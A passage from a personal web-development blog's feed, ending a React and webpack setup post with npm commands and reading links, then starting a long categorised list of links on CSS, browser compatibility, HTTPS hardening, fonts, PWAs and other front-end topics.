&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;npm init &lt;span class="c1"&gt;# Entry point: index.js&lt;/span&gt;
npm install --save react react-dom babel-preset-react babel-preset-es2015
&lt;span class="c1"&gt;# The previous line is required to run React with ES6&lt;/span&gt;
npm install webpack --save-dev
&lt;span class="c1"&gt;# --save-dev allow us to add it to the package.json&lt;/span&gt;
npm install webpack-dev-server --save-dev
&lt;span class="c1"&gt;# To live reload changes in the browser in development&lt;/span&gt;
&lt;span class="c1"&gt;# MUST NOT BE USED IN PRODUCTION&lt;/span&gt;
npm link webpack &lt;span class="c1"&gt;# To make the command available as if it was installed globally&lt;/span&gt;
npm link webpack-dev-server

&lt;span class="c1"&gt;# Install babel&lt;/span&gt;
npm install babel-loader --save-dev
&lt;span class="c1"&gt;# OR, in case of problem&lt;/span&gt;
npm install babel-loader@5.x --save-dev
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="configure-webpack"&gt;Configure webpack&lt;/h2&gt;
&lt;p&gt;There are &lt;a href="http://webpack.github.io/docs/configuration.html"&gt;two ways&lt;/a&gt; to pass the configuration object to webpack. However, here we're going to use the CLI way, which uses a conf file. Create &lt;code&gt;webpack.config.js&lt;/code&gt; at the root of the project, containing this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// configuration&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's all for now. This article is likely to be updated in a near future, stay tuned!&lt;/p&gt;
&lt;p&gt;PS: a friend of mine also gave a talk last year, at our school, about React. He was an avant-gardist ;-)&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/_u3z_kIlXgg?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;a href="https://medium.com/netscape/webpack-3-react-production-build-tips-d20507dba99a"&gt;Tips for Webpack here&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="futher-reading"&gt;Futher reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/better-programming/i-almost-got-fired-for-choosing-react-in-our-enterprise-app-846ea840841c"&gt;I Almost Got Fired for Choosing React in Our Enterprise App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lacke.mn/reduce-your-bundle-js-file-size/"&gt;Reduce Your bundle.js File Size By Doing This One Thing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/benoitvallon/react-native-nw-react-calculator"&gt;Mobile, desktop and website Apps with the same code (React native)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://reactjsnews.com/structuring-react-projects/"&gt;How to Structure a React Project?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sitepoint.com/how-to-build-a-todo-app-using-react-redux-and-immutable-js/"&gt;How to Build a Todo App Using React, Redux, and Immutable.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://meetfinch.com/blog/cross-platform-app-nwjs-react-flux"&gt;Building a cross-platform desktop app with NW.js, React &amp;amp; Flux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://24ways.org/2015/universal-react"&gt;Universal React&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.risingstack.com/react-js-best-practices-for-2016/"&gt;React.js Best Practices for 2016&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://egghead.io/technologies/react"&gt;React Lessons - Screencast Video Tutorials @eggheadio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://egghead.io/lessons/javascript-redux-the-single-immutable-state-tree"&gt;Redux Lessons #1 - Screencast Video Tutorials @eggheadio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://egghead.io/lessons/javascript-redux-simplifying-the-arrow-functions"&gt;Redux Lessons #2 - Screencast Video Tutorials @eggheadio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://reactcheatsheet.com/"&gt;React Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/2017/07/debug-react-redux-firefox-add-ons/"&gt;Inspect, Modify, and Debug React and Redux in Firefox with Add-ons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dmitripavlutin.com/7-architectural-attributes-of-a-reliable-react-component/"&gt;7 architectural attributes of a reliable React component&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://react.holiday/"&gt;React 🎄&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/react-devtools/"&gt;React Developer Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/remotedev/"&gt;Redux DevTools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.redhat.com/blog/2017/11/15/best-practices-react-redux-web-application-development/"&gt;Best practices with React and Redux web application development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/2018/04/testing-strategies-for-react-and-redux/"&gt;Testing Strategies for React and Redux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bundle-size-optimization"&gt;Bundle size optimization&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/danvk/source-map-explorer"&gt;source-map-explorer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/webpack-contrib/webpack-bundle-analyzer"&gt;webpack-bundle-analyzer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@joeclever/three-simple-ways-to-inspect-a-webpack-bundle-7f6a8fe7195d"&gt;Three simple ways to inspect a Webpack bundle&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="performance"&gt;Performance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://houssein.me/progressive-react"&gt;Progressive React&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=6WvSXoYrM5o"&gt;Improving a React app performance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/nitin42/react-perf-devtool"&gt;react-perf-devtool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="functional-components"&gt;Functional components&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/mjackson/status/1091475757530963968"&gt;Did you know that React classes are actually than function components and that React is optimized for function components?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/missive-app/45-faster-react-functional-components-now-3509a668e69f"&gt;45% Faster React Functional Components, Now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/43470659/declare-a-functional-component-as-pure"&gt;Declare a functional component as “pure”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/groww-engineering/stateless-component-vs-pure-component-d2af88a1200b"&gt;Stateless Component vs Pure Component&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="about-babel"&gt;About Babel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/thejameskyle/babel-handbook/blob/master/translations/en/README.md"&gt;Babel Handbook&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="about-redux"&gt;About Redux&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://code-cartoons.com/a-cartoon-intro-to-redux-3afb775501a6"&gt;A cartoon intro to Redux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="code"></category><category term="javascript"></category><category term="react"></category><category term="mobile"></category><category term="android"></category></entry><entry><title>Carrying Out A Web Project</title><link href="https://romainpellerin.eu/carrying-out-a-web-project.html" rel="alternate"></link><published>2015-12-03T00:40:00+01:00</published><updated>2019-12-08T21:35:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-12-03:/carrying-out-a-web-project.html</id><summary type="html">&lt;p&gt;Resources for web projects&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here are some resources.&lt;/p&gt;
&lt;h1 id="how-to-carry-out-a-web-project"&gt;How to carry out a web project?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://darklg.me/2012/04/methodologie-integration-web-front-end/"&gt;Ma méthodologie d’intégration web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://old.etherpad-mozilla.org/RAI9OV5U2k"&gt;Some pieces of advice&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.24joursdeweb.fr/2017/maintenabilite-du-code-html-css-entre-automatisation-et-guide-de-style/"&gt;Maintenabilité du code HTML / CSS : entre automatisation et guide de style&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/developer-roadmaps/"&gt;Developer Roadmaps&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="css"&gt;CSS&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/dhoko/Guidelines/blob/master/CSS-guidelines.md"&gt;Pour une CSS simple et réutilisable&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cssvalues.com/"&gt;CSS Values&lt;/a&gt;: a good documentation about CSS properties&lt;/li&gt;
&lt;li&gt;&lt;a href="http://guidecss.fr/"&gt;Feuilles de styles CSS - Conseils et bonnes pratiques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.alsacreations.com/article/lire/1707-mini-convention-css.html"&gt;Mini Convention CSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=5F_ngjHDcJQ"&gt;Flexbox, et le CSS redevient fun ! (Hubert SABLONNIÈRE)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=H8lICKucWL4"&gt;CSS is Awesome Igor Laborie&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gridbyexample.com/"&gt;Grid by Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.freecodecamp.org/everything-you-need-to-know-about-css-variables-c74d922ea855"&gt;Everything you need to know about CSS Variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://beta.observablehq.com/@eeeps/w-descriptors-and-sizes-under-the-hood"&gt;w descriptors and sizes: Under the hood&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/decorating-lines-of-text-with-box-decoration-break/"&gt;Decorating lines of text with box-decoration-break&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing"&gt;Mastering margin collapsing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-doodle.com/"&gt;CSS doodle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/did-you-know-that-style-and-script-tags-can-be-set-to-display-block/"&gt;Did you know that style and script tags can be set to display: block?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://30-seconds.github.io/30-seconds-of-css/"&gt;30 Seconds of CSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="support-and-compatibility"&gt;Support and compatibility&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://caniuse.com"&gt;caniuse.com&lt;/a&gt;: check out the tab 'Relative'&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gs.statcounter.com"&gt;gs.statcounter.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org"&gt;developer.mozilla.org&lt;/a&gt; aka MDN&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.chromestatus.com/features"&gt;www.chromestatus.com/features&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/"&gt;developer.microsoft.com/en-us/microsoft-edge/platform/status/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://webkit.org/status/"&gt;webkit.org/status/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://platform-status.mozilla.org"&gt;platform-status.mozilla.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bugzilla.mozilla.com"&gt;bugzilla.mozilla.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="centering"&gt;Centering&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://howtocenterincss.com/"&gt;How to Center in CSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="mobile-development"&gt;Mobile development&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://putaindecode.fr/posts/frontend/comment-deboguer-du-web-sur-tablettes-et-telephones/"&gt;Comment déboguer facilement du web y compris sur tablettes et téléphones&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="responsive-design"&gt;Responsive design&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://goetter.fr/nav/"&gt;Ultra simple Responsive navigation snippets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/Responsive_web_design"&gt;Responsive web design&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="compatibility"&gt;Compatibility&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://caniuse.com/"&gt;Can I Use&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="testing"&gt;Testing&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/2017/03/doubling-down-on-cross-browser-testing/"&gt;Doubling Down on Cross-Browser Testing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.softwaretestinghelp.com/web-application-testing/"&gt;Web Testing: A Complete guide about testing web applications&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="finalizing"&gt;Finalizing&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://webdevchecklist.com/"&gt;Web Developer Checklist&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://frontendchecklist.com/"&gt;Front-End-Checklist&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=SVrgarg3KNs"&gt;Donner du sens à vos pages web avec Schema.org&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="https-and-security"&gt;HTTPS and security&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wooster.checkmy.ws/2014/10/upgrade-http-vers-https/"&gt;Check liste pour passer un site de HTTP à HTTPS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ssllabs.com/ssltest/"&gt;SSL Server Test&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://observatory.mozilla.org/"&gt;Observatory by Mozilla&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/"&gt;Mozilla SSL Configuration Generator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.system-linux.eu/index.php?post/2016/01/12/Certificat-SSL-avec-Letsencrypt"&gt;Certificat SSL avec Letsencrypt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://webappsec-test.info/~bhill2/DifferentTakeOnOE.html"&gt;Why isn't HTTPS everywhere yet?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cipherli.st/"&gt;Cipherli.st - Strong Ciphers for Apache, nginx and Lighttpd&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.adminrezo.fr/2016/12/securiser-serveur-apache-https-headers/"&gt;Rouler en classe A avec Apache&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://korben.info/installter-activer-http2-apache2.html"&gt;Installer et activer HTTP2 sur Apache2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://korben.info/installer-activer-http2-nginx.html"&gt;Installer et activer HTTP2 sur Nginx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security"&gt;Security/Guidelines/Web Security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://google-gruyere.appspot.com/#0__hackers"&gt;Web Application Exploits and Defenses&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="formatting-minimizing-indentation-compressing"&gt;Formatting / minimizing / indentation / compressing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://lab.darklg.me/HTMLLisible/"&gt;HTMLLisible&lt;/a&gt;: auto-indent HTML&lt;/li&gt;
&lt;li&gt;&lt;a href="http://csslisible.com/en/"&gt;CSSLisible&lt;/a&gt;: order properties and auto-indent CSS&lt;/li&gt;
&lt;li&gt;&lt;a href="http://refresh-sf.com/"&gt;Online JavaScript/CSS Compressor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.clock.co.uk/blog/optimise-your-pngs-from-the-terminal-in-osx"&gt;Optimise your pngs from the terminal in OSX&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.alsacreations.com/article/lire/914-compression-pages-html-css-gzip-deflate.html"&gt;Cache et compression des pages web avec Gzip ou Deflate en HTTP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/speed/pagespeed/insights/"&gt;PageSpeed Insights&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.cowchimp.com/monitoring-unused-css-by-unleashing-the-devtools-protocol/"&gt;Monitoring unused CSS by unleashing the raw power of the DevTools Protocol&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="apache-setup"&gt;Apache setup&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/phanan/htaccess"&gt;.htaccess Snippets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/quelques-regles-htaccess-pour-securiser-votre-site.html"&gt;Quelques règles htaccess pour sécuriser votre site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="favicon"&gt;Favicon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.jonathantneal.com/blog/understand-the-favicon/"&gt;Understand the Favicon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://putaindecode.io/fr/articles/favicon/"&gt;Un favicon vite fait bien fait&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On Linux, if you have &lt;code&gt;imagemagick&lt;/code&gt; installed, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;convert favicon.png -alpha on -resize 256x256 &lt;span class="se"&gt;\&lt;/span&gt;
    -define icon:auto-resize&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;256,128,96,64,48,32,16&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    favicon.ico
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="useful-resources"&gt;Useful resources&lt;/h1&gt;
&lt;h2 id="ui"&gt;UI&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://refactoringui.com/"&gt;Refactoring UI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://uidb.io/"&gt;User Interface UI design Inspiration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog-en.tilda.cc/articles-website-design-mistakes"&gt;Common webpage design mistakes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="fonts"&gt;Fonts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.filamentgroup.com/lab/font-loading.html"&gt;How we use web fonts responsibly, or, avoiding a @font-face-palm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://font-display.glitch.me/"&gt;Font-display &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/three-techniques-performant-custom-font-usage/"&gt;Three Techniques for Performant Custom Font Usage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://v-fonts.com/"&gt;Variable Fonts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/understanding-web-fonts-getting/"&gt;Understanding Web Fonts and Getting the Most Out of Them&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/fitting-text-to-a-container/"&gt;Fitting Text to a Container&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="icons"&gt;Icons&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://goetter.fr/unicode/"&gt;Icones web Unicode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pictonic.co/free"&gt;Pictonic - free&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://icomoon.io/app/"&gt;IcoMoon App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://iconmonstr.com/"&gt;iconmonstr&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://paymentfont.io/"&gt;PaymentFont: A sleek webfont containing 95 icons of all main payment operators and methods&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.cloudfour.com/seriously-dont-use-icon-fonts/"&gt;Seriously, Don’t Use Icon Fonts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://benfrain.com/seriously-use-icon-fonts/"&gt;Seriously, use icon fonts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://preethisam.com/2018/06/25/how-to-use-emojis-as-icons/"&gt;How to Use Emojis as Icon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="images"&gt;Images&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/sometimes-sizes-is-quite-important/"&gt;Sometimes &lt;code&gt;sizes&lt;/code&gt; is quite important.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[DevFest Nantes 2018 - Fast and Beautiful Modern Image Delivery Techniques(https://www.youtube.com/watch?v=bTKRic9FWmM)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://responsivebreakpoints.com/"&gt;Responsive Image Breakpoints Generator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="debugging"&gt;Debugging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/datadriveninvestor/stopping-using-console-log-and-start-using-your-browsers-debugger-62bc893d93ff"&gt;How to stop using console.log() and start using your browser’s debugger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.24joursdeweb.fr/2018/la-console-javascript-avancee/"&gt;La console JavaScript avancée&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="bonus-html-emails"&gt;Bonus: HTML Emails&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.sitepoint.com/my-current-html-email-development-workflow/"&gt;My Current HTML Email Development Workflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.inkbrush.com/"&gt;Build Fully Responsive Email In Just Minutes.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://foundation.zurb.com/emails.html"&gt;Foundation for Emails&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="going-further"&gt;Going further&lt;/h1&gt;
&lt;h2 id="methodology"&gt;Methodology&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.aaron-gray.com/a-criticism-of-scrum/"&gt;A CRITICISM OF SCRUM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.aaron-gray.com/ways-to-protect-flow/"&gt;WAYS TO PROTECT FLOW&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web-assembly"&gt;Web Assembly&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/mbasso/awesome-wasm"&gt;Awesome wasm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.openbloc.fr/webassembly-first-steps/"&gt;WebAssembly 101: a developer's first steps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.octo.com/en/webassembly-an-executable-format-for-the-web/"&gt;WebAssembly, an executable format for the web &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pwas"&gt;PWAs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/dev-channel/a-pinterest-progressive-web-app-performance-case-study-3bd6ed2e6154"&gt;A Pinterest Progressive Web App Performance Case Study&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/web/ilt/pwa/lab-migrating-to-workbox-from-sw-precache-and-sw-toolbox"&gt;Lab: Migrating to Workbox from sw-precache and sw-toolbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/web/tools/workbox/guides/migrate"&gt;Modifications to your existing configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/web/tools/workbox/"&gt;Workbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@firt/google-play-store-now-open-for-progressive-web-apps-ec6f3c6ff3cc"&gt;Google Play Store now open for Progressive Web Apps&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="linters"&gt;Linters&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/stylelint/stylelint"&gt;CSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/eslint/eslint"&gt;JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="testing_1"&gt;Testing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/2017/12/using-headless-mode-in-firefox/"&gt;Using Headless Mode in Firefox&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="performance"&gt;Performance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=YJGCZCaIZkQ"&gt;Speed at Scale: Web Performance Tips and Tricks from the Trenches (Google I/O ’19)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://web.dev/fast/"&gt;Fast load times&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="misc"&gt;Misc&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://loige.co/6-rules-of-thumb-to-build-blazing-fast-web-applications/"&gt;6 Rules of thumb to build blazing fast web server applications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackernoon.com/10-things-i-learned-making-the-fastest-site-in-the-world-18a0e1cdf4a7"&gt;10 things I learned making the fastest site in the world&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://piwik.org/"&gt;Free Web Analytics Software (Piwik)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cubiq.org/the-perfect-php-clean-url-generator"&gt;The perfect PHP clean url generator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.phptherightway.com/"&gt;PHP - The Right Way&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://whatwebcando.today/"&gt;What Web Can Do Today&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.opensearch.org/Home"&gt;OpenSearch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.geek-directeur-technique.com/2016/08/24/de-la-gestion-de-projet-a-la-gestion-de-workflow"&gt;De la gestion de projet à la gestion de workflow&lt;/a&gt;&lt;/li&gt;
